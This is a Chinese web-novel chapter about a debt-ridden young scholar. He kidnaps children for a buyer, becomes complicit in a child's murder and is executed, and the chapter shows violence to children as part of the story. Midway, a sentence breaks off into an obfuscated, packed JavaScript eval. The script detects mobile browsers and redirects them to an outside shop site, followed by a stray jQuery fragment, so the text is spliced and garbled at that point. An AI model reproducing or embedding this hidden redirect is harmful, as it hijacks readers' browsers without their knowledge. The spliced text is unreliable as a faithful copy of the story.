夜阑人静,街巷灯火俱熄,整座洛川城歇了声响,不似白日繁闹。
唯余左巷一木屋外,点点烛光自残破窗纸渗出,映照二人身影,一老者与一青年盘坐榻上,借着微弱黄光低语交谈。
屋内,青年不知听到什么,双手紧紧攥住衣服,眉头紧皱,先是左右瞥了两眼,才弱弱开口道,“爹,我还是不敢怎么办……”
“不敢!”老者声音骤然放大,又赶紧低下声来,咬牙切齿,“不敢你就别想读书了,只知道用不知道赚,我杨有怀真是白生了你这么个儿子!”
青年慌神一瞬,忙去拉住父亲的袖子,“可是,可是也不只有这个法子能赚钱啊,我们可以做……”
“啪!”
老者双目圆睁,颤巍巍收回手,胸口止不住地起伏,他低声怒道,“我告诉你,你别以为读几个书就有能耐了!我杨有怀遭了半辈子的骂,你以为你能好到哪里去!”
“你自己好好想想,到底是要面子,还是要钱!”
语罢,老者径直摔门而去,徒留青年呆呆坐在榻上,脸上还带着个鲜红的巴掌印。
半晌,他才慢慢缓过劲来,伸手环住膝盖,垂下头,在那一个圈里低低哭出声音。
他已经读书了,他是个有才学的人,他绝对不可以变成爹那样。
他一定不会去做这种事。
他死都不会去做。
第二日,晨光初露,青年依旧来到洛川湖边,他随意寻了处地方坐下,小心翼翼地将书册拿出,垫在自己膝盖上,静静看起来。
直至暮色渐浓,一旁垂钓的老翁收起了鱼竿,他才回过神来,将书收好起身回家。
临别前,老翁突然出声叫住他,青年回身去看,见老翁指了指自己的竹篓,又咧开嘴角笑着问他,“年轻人,读一天书了累不累啊,要不要买一条鱼回去尝尝!”
闻言,青年摸了摸自己的口袋,面带赧然,试探问道,“老伯,有没有条小点的?”
“有有有,你等我找找。”
老翁俯下身子,在竹篓里乱摸一通,终于“诶”了一声,将一条半臂长的草鱼掏了出来。
他将草鱼直接递到青年面前,青年见状连连摆手,忙说道,“我,我身上没带那么多钱,买不起这么大的……”
“哦呦,有多少给我多少就行喽,不给也行,当我送你的!”
青年闻言一愣,怔怔抬首,目光缓缓落在老翁脸上,唇瓣翕动几瞬,他弱弱问了句,“为什么?”
老翁见他这副模样,不由得眯眼一笑,不甚在意地摆了摆手,“这有啥,老头子我每天都送一条,反正也卖不出去。”言罢,他将鱼直接放上了青年空着的那只手,笑着拎起竹篓离开了。
街道铺子挂上了红灯笼,红光斑斑点点打在他的脸上,也照着那双眼睛。
他驻足良久,双目静静凝望,直到那个陌生的背影渐行渐远。
悲从愁中来,泪向眼边去。
杨有为再也压抑不住内心悲绪,在湖边掩面放声大哭起来。
*
左巷,一群人乌泱泱地聚在一木屋外,兴冲冲地探头看热闹。
青年刚进入巷口看到的就是这副场景。
面上笑意还未散掉,他忽的意识到了什么,径直冲进人群挤到屋里。
“奶奶的,欠钱不还还有心思买书。”一大汉站在屋内,随意向后招了招手,“来哥几个,把这几本书拿了,看看能不能卖钱。”
屋内几个人应了声好,撸起袖子就要去搬。
“不准拿!”
这声一出,大汉浓眉紧皱,不耐烦地回头看去,见来人不过是个长得文绉绉的读书人,撇了撇嘴角,“不想死就滚!老子拿本书还要看你脸色不成!”
他又撸袖去搬,却见那人径直冲进屋里,将自己手里的书悉数打落在地,他这下是真觉得这人故意来挑事了,大声喝道,“你是真想死了不成!”
青年先是目含惋惜瞥了眼地下的书,又看向眼前大汉,“这是我的书,你们凭什么拿走!”
“你的?”大汉冷笑一声,“我当是哪个,原来是杨有怀那厮儿的种啊。”
“你爹欠钱不还,你说我们凭什么。”他那双浊目忽的放在青年身上,“父债子偿也可以,你们读书人不是最讲孝道吗。”
“我……我现在没钱,能不能……”
话音未落,几个人突然把他扛起,猛猛摔在地上,不管不顾扒开他的衣服。
大汉抱臂站在一旁,一脸鄙夷,“看看身上有没有钱,没有就打。”
*
夜晚,木屋依旧只燃了一根脂烛,青年借着那一点点微弱的光,捡起地上仅剩的几本书。
他还是遭了顿打。
那群人拿走了他的书,也抢走了他仅有的20文,并放话让他三天内筹够三十两,不然下次就直接打死他。
三十两。
他哪来那么多钱。
那群畜生凭什么不找他爹拿,凭什么打他。
他弯腰捡书时不慎碰到了伤口,轻“嘶”了一声,但家里没药,眼下这种情况他也顾不及其他的了。
捡着捡着,杨有为怔然一瞬,一个想法忽的闯进他的脑海。
他真的要这么做吗?
杨有为,你真的要这么做吗?
杨有为将脂烛放在身边,颓然坐在地上,目光空空望向屋外。
他的视线顺着烛光一路往下,看到泥地上那条被踩得稀烂的鱼,还有几只苍蝇。
这条鱼他原本打算拿来吃的,现在看来,可能要便宜那群苍蝇了。
就一次吧。
他想。
只做一次,还了他爹欠下的钱,他就离开这里。
*
洛川东巷乃是下等人所居之地,较左巷而言,这儿的百姓条件要稍稍好些。
此刻正值日中,一群孩童早早就吃了饭,群聚在一棵柳树下踢球。
正痛快踢着,突然有人脚一偏,这球就换了方向,直直奔到一旁的麦田里去了。
几个孩子“啊”了一声,纷纷跑到麦田往里看。
有个娃娃一脸担忧,声音弱弱的,“呀……球到麦田里去了。”
“踩麦田会不会被骂呀?”
“我们小心点不就好了。”
那小孩回过头来,皱眉开口道,“狗蛋!你快去把球捡回来!”
被唤作“狗蛋”的男孩挠了挠头,面上浮现一丝赧然,快声应了句“好嘞”!
说完,他便立马跳进麦田里,循着球的痕迹走去。
麦田很大,狗蛋在其间穿行半天也没见到球的影子,正疑惑着呢,发觉眼前罩下一片阴影,他抬起头,见是个年轻的小哥,便启唇问道,“小哥,你有看见我的球吗?”
“小哥”闻言,点了点头,唇角微微扬起,“知道呀,你上来,我带你去找。”
狗蛋一听心下一喜,连忙爬出麦田,迈步跟上前头带路的小哥。
走着走着,眼见路越来越偏,他心底不由得感到一丝慌张,回身张望一番,发觉位置有点远了,便回过头来想问问这位好心人。
这一回头,他忽的闻到一抹异香,紧接着一张帕子果断覆在他的鼻子上,窒息感和异香将他团团包围,他下意识挣扎起来,身后的手却一直死死按住他,直把他往一间屋子拖去。
异香越来越浓,他越发觉得浑身无力,视线变得模糊起来,再想挣扎,却发觉自己已经彻彻底底没了力气。
最终,狗蛋身子一软,昏迷在地。
麦田处,几个孩子又在树下玩起了新游戏。
几局过后,一女孩见狗蛋一直没回来,便抬头望向麦田,有些生气说道,“狗蛋怎么那么慢呀。”
“让他慢慢找吧,我们先玩。”说罢,那男孩又甩了甩手中的石头,猝然朝另一人面前的石塔弹去,那座石塔没了支撑,轰然倒下。
目的达成,他张开双臂哈哈大笑,“太好了,我赢了!”
*
左巷屋内,杨有为身子禁不住的发颤,他埋下头,将整个人蜷缩在角落里。
半晌,他愣愣抬眼,视线不经意扫过对角,仿佛被什么东西灼伤一样,瞳孔一缩,又猛地低头,将身子蜷得更紧。
对角放着他方才拿到的一袋“工钱”。
用那个孩子换的。
他已经记不清这几天哭过几次了,此刻那双眼睛红肿非常,鼻涕在脸上胡乱挂上一条,他抬手抹了一把,颤巍巍站起身,缓步走向对角。
这袋子里只有十七两。
也就是说,他至少还要再偷一个孩子,才能把这笔钱凑齐。
快要崩溃了。
他真的好想立马收拾包袱离开这里,离开洛川,离开所有会让他痛苦万分的事情。
杨有为侧过头,目光空茫茫放在那几本书上,微愣一瞬。
不能走,他那堆书还在那群地痞手里,他得拿回来。
那是他最重要的东西。
为什么不买本新的?
为什么?
因为他穷啊,他命苦啊,他没能耐啊!
他真是作了十辈子的恶才摊上这么个爹!
他又在心底放声谴责了一会,直到那份罪恶感稍稍淡化后,他拎起钱袋,冷不防低笑一声。
再来一次吧,只要把书拿回来。
两次而已,算不得什么的。
*
第二次,他被人发现了。
与那人对视那刻,他忽的想起了《尚书》里的一句话。
“作善降之百祥,作不善降之百殃。”
这句话终究还是在自己身上应验了。
但那个孩子没有被放过,他也没有坐牢。
因为那晚,两个人达成了一个约定,只要杨有为愿意带他一起赚钱,他赵阔就会永远守着这个秘密。
杨有为非常高兴。
被发现又能怎样,后面小心点不就好了,只要顾好眼前这个人不就好了?
但人的欲望是无穷无尽的。
一开始,二人一起合作偷了几个孩子,每天都心惊胆战的。好在那给钱的富商势大,百姓告上去的几桩案子也被尽数驳回,两个人便没了顾虑,合作上也越来越“默契”。
可是后来,赵阔不满足只得那点银子,便故意多拿了点放进自己兜里,时间一长,赵阔手里的银子越来越多,乃至于杨有为这个出力最大的只拿到了一袋银子的四分之一。
直到某天,杨有为归家,见屋内木盒有被撬开的痕迹,他心头一跳,忙打开木盒翻看里面的黄纸,这一看直接将他吓了一跳,那黄纸竟足足少了十张!
他火急火燎出门去寻赵阔,却发现柴房内早已人去楼空,心下断定必是这赵阔偷走了那十张黄纸。
一番思索过后,他选择去找自己的父亲,杨有怀。
庙里,杨有怀知晓所有过程后,先是痛骂了一顿自己的儿子,而后又言自己能够打探到赵阔的去向,便将他匆匆赶回家,一个人往望津楼去了。
杨有为归家后,心跳久久未能平息,他无法确定赵阔这厮会不会临时变卦,将他的事情捅出去。
不会的,这件事赵阔已经掺和进来了,他不是傻子,怎么可能会让自己下水。
那唯一有可能的,就是赵阔想要独吞掉那几份钱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790561|210372||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
思及此,杨有为再也无法压住心中怒火,一把将桌上的书扫落在地,还踩上去狠狠跺了几脚。
“赵阔!你个王八蛋!”
杨有为担惊受怕了三天,才终于等到了自己的父亲。
杨有怀说自己已经拿到了赵阔的消息,要求二人今晚就动身过去。
“今晚?”
“废话!”杨有怀一脸恨铁不成钢的样子,“你难道还要等到他把钱拿了你才去吗!”
“不给那赵阔一点苦头吃,他还真把自己当杜户了?!”
于是那晚,二人匆匆前往驿站,偷了辆骡车就往平津去了。
抵达后,二人在赵阔家后观察许久,杨有为见赵阔还有个孩子,便又动了心思,几番思虑下,他低声开口道,“爹,我等会在外头给你望风。”
他费了老些功夫才将赵阔儿子搞到手,随即扛起他就往骡车赶,但因为他是临时起意,药粉的量自然没有往日充足,于是在途径一条河流时,他忽觉肩上那小孩动弹了几下,紧接着,孩子突然挣扎起来,杨有为一时招架不住,身子一倾,那小孩就直接翻进了河里。
赵阔儿子本就不清醒,这厢意识到自己正在水里,立马手脚并用地往岸边游去。
他刚爬上岸,却觉手心传开一阵剧痛,费力睁开眼,却见一个人正握着匕首,一刀一刀猛捅向他的手臂。
他猝然起身跑开,刚窥得前方点点光亮,正欲张口求救,身后那人直接一把抓起他,将匕首猛地刺进他的胸膛。
鲜血汩汩流出,浸湿了他的衣裳,小孩气息越来越弱,直至失了呼吸,轰然倒地。
杨有为双目圆瞪,似是对眼前所见不敢置信,他忙稳了稳心神,把匕首揣进怀里,又将小孩一路拖向河边,最后双手用力一推,那孩子便滚进了河里,顺着水流向下去了。
他一路心神不宁,乃至于杨有怀赶来时,他都没注意到他爹身上的血迹。
一对父子杀死了一对父子。
返程路上,一场大雨突如其来,洗刷掉了那些肮脏的痕迹。
罪孽越叠越多,杨有为身上的恶早已洗不干净。
他深知自己哪天就会遭到报应,便整日躲在家里,不再为杜户提供“货物”。
那几日夜里,每每入梦,他就会梦见一堆掉了眼睛断了手臂满身伤痕的孩子。
他们在梦里疯狂啃食他的血肉,咬烂他的手臂,戳瞎他的眼睛,一遍一遍叩问他为什么要害死他们。
他最终选择去看看风水。
某天夜里,他终于伺候完那群地痞,想起来风水师的指点,便连忙往家赶,取走木盒,将它藏到了暗口。
一番功夫后,他欣然归家。
他终于能心安理得睡个好觉了。
*
“你今晚和我一起去。”
“爹,我不想再做这种事了,你别逼我了,算我求你了好不好……”
“啪”!
又是一个巴掌。
杨有怀愤愤地看着他。
他好歹也有点本事,怎么就养了个这么没用的儿子!
好半晌,他才沉声说道,“这是最后一次,只要把那群孩子送走,你就不用再管这事了。”
“这是杜户给的命令,你知道他的手段。”
“惹不起的人,我们最好还是乖乖听话,不然没人给你收尸!”
*
日影西斜,街巷人影攒动。
杨有怀此刻再也掩盖不住内心的慌张,手里那张黄纸被他攥得已经烂掉一半。
暗口的木盒不见了。
他不知道是谁拿走的,等他发现的时候,那块土里只埋着这么张黄纸。
他来不及去想,只希望自己赶紧送走那批孩子,立刻收拾包袱逃离洛川。
去哪里都好,只要不是洛川,只要让他远离这些罪孽就好!
可天不遂人愿。
他被发现了。
被青衣女子丢在地上时,他心如死灰,那双眼睛此刻再也流不出泪来。
他后悔了。
罪孽缠身,因果报应,获刑坐牢才是他的归宿。
他这辈子都走不出洛川了。
*
作善降之百祥,作不善降之百殃。
受刑时,不知为何,他再次想起了这句话。
他这一生太短,却酿成了太多的错。
如果能补救一点,会不会老天爷愿意对他产生一丝丝怜悯呢?
会的吧。
他信了这么久的天,它一定会的。
牢狱内,杨有为费力睁开眼睛,唇瓣翕动几瞬,声若蚊蝇。
他舔了舔嘴唇,最终定下心神,放声大喊。
“我知道那些被卖掉的孩子在哪里!”
“我知道他们的买家!”
“我愿意全部告诉你们!”
*
一杯毒酒递上,杨有为眼底不禁漫上一丝苦涩。
他抿了抿唇,轻声一笑,举起酒杯一饮而尽。
毒酒入腹,灼烧般的剧痛骤然袭来,他双眼圆睁,两手死死抓挠衣襟,喉头嗬嗬作响。
鲜血自唇角不断溢出,他痛到蜷缩在地,腿脚胡乱蹬踏,身躯控制不住地痉挛起来。
不过片刻,牢房渐渐歇了动静,杨有为不再动弹,目光空茫望着前方。
临别之际,他突然想问自己。
如果可以重来,他选择了另一条路,会不会结局就不一样了?
不会的。
渣滓就是渣滓,这是重来千百遍都无法改变的事实。
他这种人和他爹一样,都应该不得好死。